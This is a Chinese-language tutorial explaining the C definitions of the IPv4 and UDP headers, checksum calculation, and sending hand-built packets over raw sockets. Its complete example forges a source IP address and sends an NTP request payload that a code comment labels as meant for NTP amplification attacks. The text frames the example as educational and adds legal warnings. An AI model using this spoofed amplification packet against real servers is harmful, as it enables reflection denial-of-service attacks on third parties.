理解网络协议的底层工作原理对于网络编程、网络安全以及相关领域的开发至关重要。在使用原始套接字(Raw Sockets)进行网络通信时,深入了解**IP头(IPv4 Header)和UDP头(UDP Header)**的定义与作用尤为重要。本文将详细讲解这两个头部的C语言定义、各字段的含义、设置方法以及在网络数据包中的作用。
目录
IP头(IPv4 Header)
C语言中的IP头定义
在C语言中,IPv4头部通常通过struct iphdr
结构体来定义,该结构体定义在<netinet/ip.h>
头文件中。以下是struct iphdr
的典型定义:
struct iphdr {
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl:4;
unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int version:4;
unsigned int ihl:4;
#else
# error "Please fix <bits/endian.h>"
#endif
uint8_t tos; // Type of Service
uint16_t tot_len; // Total Length
uint16_t id; // Identification
uint16_t frag_off; // Fragment Offset
uint8_t ttl; // Time to Live
uint8_t protocol; // Protocol
uint16_t check; // Header Checksum
uint32_t saddr; // Source Address
uint32_t daddr; // Destination Address
// Options may follow
};
IP头各字段详解
struct iphdr
结构体包含多个字段,每个字段对应IPv4协议规范中的一个部分。以下是各字段的详细解释:
版本(Version)
- 类型:4位
- 含义:指定IP协议的版本。IPv4的版本号为4。
头部长度(IHL, Internet Header Length)
- 类型:4位
- 含义:指定IP头部的长度,单位为32位字(即4字节)。最小值为5,表示20字节的标准IP头部。若存在选项字段,则该值会增加。
服务类型(TOS, Type of Service)
- 类型:8位
- 含义:用于指示数据包的优先级和服务质量。现代实现通常使用Differentiated Services Code Point(DSCP)和Explicit Congestion Notification(ECN)字段。
总长度(Total Length)
- 类型:16位
- 含义:整个IP数据包的长度,包括IP头部和数据部分。最大值为65,535字节。
标识符(Identification)
- 类型:16位
- 含义:用于标识数据包的分片。当数据包被分片时,所有分片的标识符相同,以便接收端重新组装。
分片偏移(Fragment Offset)
- 类型:16位
- 含义:指示数据包分片的位置,单位为8字节。高13位为实际偏移量,低3位用于标志位(更多分片)。
生存时间(TTL, Time to Live)
- 类型:8位
- 含义:防止数据包在网络中无限循环。每经过一个路由器,TTL值减1。当TTL为0时,数据包被丢弃。
协议(Protocol)
- 类型:8位
- 含义:指示上层协议,如TCP(6)、UDP(17)、ICMP(1)等。
头部校验和(Header Checksum)
- 类型:16位
- 含义:用于错误检测,校验整个IP头部的完整性。只校验IP头部,不包括数据部分。
源地址(Source Address)
- 类型:32位
- 含义:发送数据包的主机IP地址。
目标地址(Destination Address)
- 类型:32位
- 含义:接收数据包的主机IP地址。
选项(Options)
- 类型:可变
- 含义:可选字段,用于实现更多功能,如安全、记录路由等。存在时,IHL字段会增加。
IP头的构建与校验和计算
在构建IP头时,需要按照协议规范正确设置各字段,并计算校验和以确保头部的完整性。以下是构建IP头和计算校验和的关键步骤:
设置版本和头部长度
- 版本设置为4(IPv4)。
- 头部长度根据是否有选项字段设置,标准IP头部长度为5(即20字节)。
设置服务类型
- 通常设置为0,表示默认服务。
设置总长度
- 计算整个数据包的长度,包括IP头部、UDP头部和有效载荷。
设置标识符
- 通常设置为一个随机值或递增的值。
设置分片偏移
- 如果不进行分片,设置为0。
设置生存时间(TTL)
- 通常设置为64或128,取决于网络配置。
设置协议
- 指定上层协议,如UDP(17)。
设置源和目标IP地址
- 使用
inet_addr
函数将IP地址字符串转换为网络字节序的32位数值。
- 使用
计算校验和
- 在设置完所有其他字段后,计算IP头部的校验和,并填入
check
字段。
- 在设置完所有其他字段后,计算IP头部的校验和,并填入
校验和计算函数示例:
unsigned short csum(unsigned short *buf, int nwords) {
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
说明:
- 校验和是所有16位字的反码之和。
- 计算时,将每个16位字相加,超出的部分(高16位)折叠回低16位。
- 最终结果取反,填入校验和字段。
UDP头(UDP Header)
C语言中的UDP头定义
UDP头部在C语言中通常通过struct udphdr
结构体来定义,该结构体定义在<netinet/udp.h>
头文件中。以下是struct udphdr
的典型定义:
struct udphdr {
uint16_t source; // 源端口号
uint16_t dest; // 目标端口号
uint16_t len; // UDP长度
uint16_t check; // UDP校验和
};
UDP头各字段详解
struct udphdr
结构体包含四个字段,每个字段对应UDP协议规范中的一个部分。以下是各字段的详细解释:
源端口号(Source Port)
- 类型:16位
- 含义:发送数据包的应用程序的端口号。用于标识发送端的应用程序。
目标端口号(Destination Port)
- 类型:16位
- 含义:接收数据包的应用程序的端口号。用于标识接收端的应用程序。例如,NTP协议使用UDP的123端口。
长度(Length)
- 类型:16位
- 含义:整个UDP数据包的长度,包括UDP头部和数据部分。最小值为8字节(仅UDP头部)。
校验和(Checksum)
- 类型:16位
- 含义:用于错误检测,覆盖UDP头部、数据部分以及伪头部。UDP校验和是可选的,但强烈建议使用,以确保数据包的完整性。
UDP头的构建与校验和计算
在构建UDP头时,需要正确设置各字段,并计算校验和以确保数据包的完整性。以下是构建UDP头和计算校验和的关键步骤:
设置源和目标端口号
- 使用
htons
函数将端口号从主机字节序转换为网络字节序。
- 使用
设置长度
- 计算UDP头部和有效载荷的总长度。
设置校验和
- 初始化为0,然后根据伪头部、UDP头部和数据部分计算校验和。
UDP校验和计算示例:
UDP校验和涉及伪头部的使用,包括源IP地址、目标IP地址、协议类型和UDP长度。以下是计算UDP校验和的步骤和示例函数:
struct pseudo_header {
uint32_t source_address;
uint32_t dest_address;
uint8_t placeholder;
uint8_t protocol;
uint16_t udp_length;
};
unsigned short udp_checksum(struct iphdr *iph, struct udphdr *udph, const char *payload, int payload_len) {
struct pseudo_header psh;
psh.source_address = iph->saddr;
psh.dest_address = iph->daddr;
psh.placeholder = 0;
psh.protocol = iph->protocol;
psh.udp_length = udph->len;
int psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + payload_len;
char *pseudogram = malloc(psize);
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), udph, sizeof(struct udphdr));
memcpy(pseudogram + sizeof(struct pseudo_header) + sizeof(struct udphdr), payload, payload_len);
unsigned long sum = 0;
unsigned short *ptr = (unsigned short*)pseudogram;
for (int i = 0; i < psize / 2; i++) {
sum += *ptr++;
}
if (psize % 2) {
sum += *((unsigned char*)ptr) << 8;
}
while (sum >> 16)
sum = (sum & 0xFFFF) + (sum >> 16);
free(pseudogram);
return (unsigned short)(~sum);
}
说明:
- 伪头部(Pseudo Header):包括源IP地址、目标IP地址、协议类型和UDP长度,用于校验和的计算。
- 计算过程:
- 构建伪头部。
- 拼接伪头部、UDP头部和有效载荷。
- 对拼接后的数据进行16位字的累加求和。
- 处理溢出,将高16位折叠回低16位。
- 取反得到校验和。
IP和UDP头的关系与数据包构建
在网络通信中,UDP数据包嵌套在IP数据包中。具体来说,UDP头部紧跟在IP头部之后,后面是UDP的有效载荷。数据包构建的顺序如下:
- IP头部:包括源和目标IP地址、协议类型(指定为UDP)等信息。
- UDP头部:包括源和目标端口号、长度、校验和等信息。
- 有效载荷:实际传输的数据,如NTP请求数据。
数据包构建示例:
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct udphdr *udph = (struct udphdr *)(datagram + sizeof(struct iphdr));
char *payload = datagram + sizeof(struct iphdr) + sizeof(struct udphdr);
// 设置IP头部
setup_ip_header(iph);
// 设置UDP头部
setup_udp_header(udph);
// 设置有效载荷
memcpy(payload, PAYLOAD, PAYLOADSIZE);
// 计算UDP校验和
udph->check = udp_checksum(iph, udph, payload, PAYLOADSIZE);
// 计算IP头部校验和
iph->check = csum((unsigned short *)iph, iph->ihl * 2);
说明:
- IP头部设置:调用
setup_ip_header
函数初始化IP头部字段。 - UDP头部设置:调用
setup_udp_header
函数初始化UDP头部字段。 - 有效载荷设置:将实际数据复制到数据包缓冲区的相应位置。
- 校验和计算:
- 先计算UDP校验和,因为它依赖于IP头部的信息。
- 然后计算IP头部的校验和。
关键注意事项
字节序(Endianess)
网络协议使用大端字节序(Big-Endian)。在C语言中,需使用htons
(Host TO Network Short)、htonl
(Host TO Network Long)等函数将主机字节序转换为网络字节序,确保多字节字段正确传输。权限要求
创建原始套接字通常需要超级用户(root)权限,因为它允许应用程序直接操作网络协议,可能被用于恶意活动。校验和的正确性
正确计算IP和UDP校验和至关重要。错误的校验和可能导致数据包被网络设备丢弃或无法被目标主机正确解析。IP头部长度(IHL)
确保ihl
字段正确反映IP头部的实际长度。如果包含选项字段,需相应增加ihl
的值。防止IP地址伪造滥用
通过原始套接字,可以伪造源IP地址,这可能导致各种网络攻击(如DDoS放大攻击)。确保合理合法地使用原始套接字,遵守相关法律法规。线程安全性
如果在多线程环境中使用原始套接字,需确保线程安全,避免数据竞争和状态不一致。
完整示例代码
以下是一个简化的C语言示例,展示如何构建和发送一个包含IP头和UDP头的数据包。该示例仅用于教育和研究目的,严禁用于任何非法活动。
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
// 定义目标端口为NTP的123端口
#define DPORT 123
// 定义用于NTP放大攻击的有效负载数据
const char PAYLOAD[] = "\x17\x00\x03\x2a\x00\x00\x00\x00";
#define PAYLOADSIZE (sizeof(PAYLOAD) - 1)
// 计算IP头部的校验和
unsigned short csum(unsigned short *buf, int nwords) {
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
// 计算UDP头部的校验和
struct pseudo_header {
uint32_t source_address;
uint32_t dest_address;
uint8_t placeholder;
uint8_t protocol;
uint16_t udp_length;
};
unsigned short udp_checksum(struct iphdr *iph, struct udphdr *udph, const char *payload, int payload_len) {
struct pseudo_header psh;
psh.source_address = iph->saddr;
psh.dest_address = iph->daddr;
psh.placeholder = 0;
psh.protocol = iph->protocol;
psh.udp_length = udph->len;
int psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + payload_len;
char *pseudogram = malloc(psize);
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), udph, sizeof(struct udphdr));
memcpy(pseudogram + sizeof(struct pseudo_header) + sizeof(struct udphdr), payload, payload_len);
unsigned long sum = 0;
unsigned short *ptr = (unsigned short*)pseudogram;
for (int i = 0; i < psize / 2; i++) {
sum += *ptr++;
}
if (psize % 2) {
sum += *((unsigned char*)ptr) << 8;
}
while (sum >> 16)
sum = (sum & 0xFFFF) + (sum >> 16);
free(pseudogram);
return (unsigned short)(~sum);
}
int main() {
// 创建原始套接字
int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if (s < 0) {
perror("Socket creation failed");
exit(EXIT_FAILURE);
}
// 设置IP_HDRINCL选项
int one = 1;
const int *val = &one;
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
perror("Error setting IP_HDRINCL");
exit(EXIT_FAILURE);
}
// 构建数据包
char datagram[4096];
memset(datagram, 0, 4096);
// IP头部
struct iphdr *iph = (struct iphdr *)datagram;
iph->ihl = 5; // IP头部长度
iph->version = 4; // IPv4
iph->tos = 0; // 服务类型
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE);
iph->id = htons(54321); // 标识符
iph->frag_off = 0; // 不分片
iph->ttl = 64; // 生存时间
iph->protocol = IPPROTO_UDP; // 使用UDP协议
iph->saddr = inet_addr("192.168.1.100"); // 源IP地址(伪造)
iph->daddr = inet_addr("192.168.1.101"); // 目标IP地址
// 计算IP头部校验和
iph->check = csum((unsigned short *)datagram, iph->ihl * 2);
// UDP头部
struct udphdr *udph = (struct udphdr *)(datagram + sizeof(struct iphdr));
udph->source = htons(12345); // 源端口
udph->dest = htons(DPORT); // 目标端口(NTP)
udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE); // UDP长度
udph->check = 0; // 初始校验和
// 有效载荷
char *data = datagram + sizeof(struct iphdr) + sizeof(struct udphdr);
memcpy(data, PAYLOAD, PAYLOADSIZE);
// 计算UDP校验和
udph->check = udp_checksum(iph, udph, data, PAYLOADSIZE);
// 目标地址结构体
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_port = udph->dest;
dest.sin_addr.s_addr = iph->daddr;
// 发送数据包
if (sendto(s, datagram, ntohs(iph->tot_len), 0, (struct sockaddr *)&dest, sizeof(dest)) < 0) {
perror("sendto failed");
exit(EXIT_FAILURE);
}
printf("Packet Sent Successfully.\n");
close(s);
return 0;
}
说明
创建原始套接字
使用socket(PF_INET, SOCK_RAW, IPPROTO_UDP)
创建一个原始套接字,指定协议为UDP。此操作需要超级用户权限。设置
IP_HDRINCL
选项
通过setsockopt
函数设置IP_HDRINCL
选项,指示内核数据包已经包含IP头部,内核无需自动添加。构建IP头部
- 版本和头部长度:
version = 4
表示IPv4,ihl = 5
表示头部长度为20字节。 - 服务类型:设置为0,表示默认服务。
- 总长度:计算整个数据包的长度,包括IP头、UDP头和有效载荷。
- 标识符:设置为54321,用于标识数据包。
- 分片偏移:设置为0,表示不分片。
- 生存时间:设置为64,控制数据包在网络中的跳数。
- 协议:设置为
IPPROTO_UDP
,指定上层协议为UDP。 - 源和目标IP地址:使用
inet_addr
函数将IP地址字符串转换为网络字节序的32位数值。
- 版本和头部长度:
计算IP头部校验和
调用csum
函数计算IP头部的校验和,并填入iph->check
字段。构建UDP头部
- 源和目标端口号:使用
htons
函数将端口号从主机字节序转换为网络字节序。 - 长度:计算UDP头部和有效载荷的总长度。
- 校验和:初始设置为0,然后调用
udp_checksum
函数计算校验和。
- 源和目标端口号:使用
设置有效载荷
将有效载荷数据复制到数据包缓冲区的相应位置。计算UDP校验和
调用udp_checksum
函数计算UDP校验和,并填入udph->check
字段。发送数据包
使用sendto
函数通过原始套接字发送构建好的数据包到目标地址。
注意:此示例伪造了源IP地址(192.168.1.100
)。在实际使用中,源IP地址的伪造可能违反法律法规,且大多数网络设备会进行源地址验证,防止IP地址伪造。因此,仅应在受控和合法的环境中进行测试和学习。
关键注意事项
权限要求
创建和使用原始套接字通常需要超级用户(root)权限。未经授权的原始套接字使用可能导致安全风险和法律问题。字节序转换
使用htons
和htonl
函数将多字节字段从主机字节序转换为网络字节序,确保数据包在网络中正确传输。校验和计算
- IP校验和:仅覆盖IP头部,不包括数据部分。
- UDP校验和:覆盖伪头部、UDP头部和数据部分,确保数据包的完整性。
- 正确性:错误的校验和可能导致数据包被网络设备或目标主机丢弃。
IP头部长度(IHL)
确保ihl
字段正确反映IP头部的实际长度。如果包含选项字段,需相应增加ihl
的值。防止IP地址伪造滥用
通过原始套接字,可以伪造源IP地址,这可能导致各种网络攻击(如DDoS放大攻击)。确保合理合法地使用原始套接字,遵守相关法律法规。校验和覆盖范围
确保UDP校验和正确覆盖了伪头部、UDP头部和数据部分,以避免数据包被认为是损坏的。多线程与套接字共享
在多线程环境中使用原始套接字时,需确保线程安全,避免多个线程同时操作同一个套接字导致数据包混乱。网络设备限制
现代网络设备通常会限制或过滤原始套接字发送的数据包,以防止滥用和攻击行为。确保网络设备配置允许必要的原始套接字操作。
总结
构建和发送自定义网络数据包涉及对IP和UDP头部的深入理解和精确控制。在C语言中,利用struct iphdr
和struct udphdr
结构体,可以手动设置各字段,以实现特定的网络通信需求。然而,原始套接字的使用需谨慎,确保合法性和安全性。通过本文的详细讲解,您应该能够理解IP和UDP头部的结构、各字段的作用以及如何在C语言中构建和发送自定义数据包。
参考资料
RFC 791: Internet Protocol
RFC 791RFC 768: User Datagram Protocol
RFC 768Linux man pages
man 7 ip
man 7 udp
man 2 socket
man 2 setsockopt
man 2 sendto
Beej's Guide to Network Programming
Beej's GuideUnderstanding and Using Raw Sockets in C
Secure Programming
- Ensuring correct and secure implementation of network protocols and data structures.
Network Programming Books
- "UNIX Network Programming" by W. Richard Stevens
- "TCP/IP Illustrated" by W. Richard Stevens
通过深入学习这些资源,您可以进一步增强对网络协议和原始套接字编程的理解,从而在实际项目中应用所学知识。